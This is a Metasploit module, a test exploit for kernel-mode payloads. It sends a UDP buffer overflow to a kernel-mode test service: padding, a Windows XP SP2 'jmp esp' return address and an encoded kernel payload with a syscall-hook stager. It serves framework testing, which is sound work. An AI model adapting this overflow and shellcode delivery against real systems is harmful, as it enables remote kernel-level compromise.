##
# $Id: kernel.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

#
# This is a test exploit for testing kernel-mode payloads.
#
class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internal Kernel-mode Test Exploit',
			'Description'    =>
				"This module tests the exploitation of a kernel-mode test service.",
			'Author'         => 'skape',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'Arch'           => 'x86',
			'Payload'        =>
				{
					'Space'    => 1000,
					'MaxNops'  => 0,
					'Prepend'  => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
					'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500
				},
			'Targets'        =>
				[
					[
						'Windows XP SP2',
						{
							'Ret'      => 0x80502d7f, # jmp esp
							'Platform' => 'win',
							'Payload'  =>
								{
									'ExtendedOptions' =>
										{
											'Stager'     => 'sud_syscall_hook',
											'Recovery'   => 'spin'
										}
								}
						}
					],
				],
			'DefaultTarget' => 0))
	end

	def autofilter
		false
	end

	def check
		return Exploit::CheckCode::Vulnerable
	end

	def exploit
		connect_udp

		print_status("Sending #{payload.encoded.length} byte payload...")

		buf =
			rand_text_alphanumeric(260) +
			"\xbe\x7f\x00\x00" +
			rand_text_alphanumeric(28) +
			[target.ret].pack('V') +
			rand_text_alphanumeric(8) +
			payload.encoded

		udp_sock.put(buf)

		select(nil,nil,nil,2)

		disconnect_udp
	end

end
